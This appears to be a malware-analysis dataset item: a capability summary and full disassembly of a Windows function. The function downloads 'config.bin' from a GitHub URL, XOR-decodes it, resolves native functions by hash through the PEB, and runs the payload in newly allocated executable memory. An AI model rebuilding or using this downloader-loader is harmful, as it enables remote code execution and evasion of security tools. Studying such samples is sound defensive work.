Function at 0x140001350
Capabilities:
Access peb ldr_data
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xe0
mov rax, qword [0x140005018]
xor rax, rsp
mov qword [rbp + 0x27], rax
xor r12d, r12d
lea rcx, str.User_Agent
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
lea edx, [r12 + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r15, rax
test rax, rax
jne 0x1400013bb
lea rcx, str.Failed_to_initialize_WinINet_n
call fcn.140001010
jmp 0x1400014a8
mov qword [rsp + 0x28], r12
lea rdx, str.https:__github.com_avcepr2023_updates_raw_main_config.bin
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r14, rax
test rax, rax
jne 0x140001407
lea rdx, str.https:__github.com_avcepr2023_updates_raw_main_config.bin
lea rcx, str.Failed_to_open_URL:__s_n
call fcn.140001010
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1400014a8
mov ecx, 0x400
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea r9, [rbp - 0x49]
mov r8d, 0x400
mov rdx, rax
mov rcx, r14
mov rdi, rax
mov rsi, r12
mov rbx, r12
call qword [sym.imp.WININET.dll_InternetReadFile]
mov r13, 0xffffffffffffffff
test eax, eax
je 0x14000148d
nop dword [rax]
mov eax, dword [rbp - 0x49]
test eax, eax
je 0x14000148d
mov rdx, rbx
mov rcx, rsi
add rdx, rax
cmovb rdx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov r8d, dword [rbp - 0x49]
mov rdx, rdi
mov rsi, rax
lea rcx, [rbx + rax]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rbp - 0x49]
lea r9, [rbp - 0x49]
mov r8d, 0x400
mov rdx, rdi
mov rcx, r14
add rbx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001440
mov rcx, r14
mov qword [rbp - 0x29], rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test rsi, rsi
jne 0x1400014be
lea rcx, str.Failed_to_download_executable_n
call fcn.140001010
mov eax, 1
jmp 0x140001706
mov rdx, qword [rbp - 0x29]
mov rcx, r12
mov dword [rbp - 0x31], 0x78563412
test rdx, rdx
je 0x1400014e7
mov rax, rcx
and eax, 3
movzx eax, byte [rbp + rax - 0x31]
xor byte [rcx + rsi], al
inc rcx
cmp rcx, rdx
jb 0x1400014d1
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rbx, qword [rcx + 0x10]
mov rdi, rbx
nop dword [rax + rax]
mov rdi, qword [rdi]
cmp qword [rdi + 0x30], r12
je 0x1400015a0
mov rdx, qword [rdi + 0x60]
mov rax, r12
cmp word [rdx], r12w
je 0x140001542
nop word [rax + rax]
cmp rax, 0x3f
jae 0x140001538
movzx ecx, byte [rdx + rax*2]
mov byte [rbp + rax - 0x19], cl
inc rax
cmp word [rdx + rax*2], r12w
jne 0x140001520
cmp rax, 0x40
jae 0x140001733
lea rcx, [rbp - 0x19]
mov byte [rbp + rax - 0x19], r12b
call qword [sym.imp.USER32.dll_CharLowerA]
mov ecx, 0x99
mov rdx, r13
mov r8, rax
nop dword [rax]
inc rdx
cmp byte [rax + rdx], r12b
jne 0x140001560
mov r9d, r12d
test rdx, rdx
je 0x1400015a0
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [r8]
lea ecx, [rcx + rcx*2]
inc r9d
lea r8, [r8 + 1]
add ecx, eax
movsxd rax, r9d
cmp rax, rdx
jb 0x140001580
cmp ecx, 0x3e8557
je 0x1400015a9
cmp rbx, rdi
jne 0x140001500
mov rdi, qword [rdi + 0x30]
mov edx, 0xa6be2b35
mov rcx, rdi
mov qword [rbp - 0x41], r12
call fcn.140001070
mov rcx, rax
call fcn.140001270
mov rbx, rax
call fcn.140001150
movzx ecx, ax
call fcn.140001740
mov rcx, rbx
call fcn.140001747
lea r9, [rbp - 0x29]
mov dword [rsp + 0x28], 0x40
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
lea rdx, [rbp - 0x41]
mov rcx, r13
call fcn.14000174f
mov r8, qword [rbp - 0x29]
mov rdx, rsi
mov rcx, qword [rbp - 0x41]
call sub.VCRUNTIME140.dll_memcpy
mov edx, 0xf896aad4
mov dword [rbp - 0x21], r12d
mov rcx, rdi
call fcn.140001070
mov rcx, rax
call fcn.140001270
mov rbx, rax
call fcn.140001150
movzx ecx, ax
call fcn.140001740
mov rcx, rbx
call fcn.140001747
lea rax, [rbp - 0x21]
mov r9d, 0x20
lea r8, [rbp - 0x29]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x41]
mov rcx, r13
call fcn.14000175f
mov edx, 0xf7ecc338
mov rcx, rdi
call fcn.140001070
mov rcx, rax
call fcn.140001270
mov rbx, rax
call fcn.140001150
movzx ecx, ax
call fcn.140001740
mov rcx, rbx
call fcn.140001747
mov rax, qword [rbp - 0x41]
lea rcx, [rbp - 0x39]
mov qword [rsp + 0x50], r12
mov r9, r13
mov qword [rsp + 0x48], r12
xor r8d, r8d
mov qword [rsp + 0x40], r12
mov edx, 0x1fffff
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r12d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rax
call fcn.14000176f
mov edx, 0xafc993bc
mov rcx, rdi
call fcn.140001070
mov rcx, rax
call fcn.140001270
mov rbx, rax
call fcn.140001150
movzx ecx, ax
call fcn.140001740
mov rcx, rbx
call fcn.140001747
mov rcx, qword [rbp - 0x39]
xor r8d, r8d
xor edx, edx
call fcn.14000177f
xor eax, eax
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.1400017a0
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400018c8
int3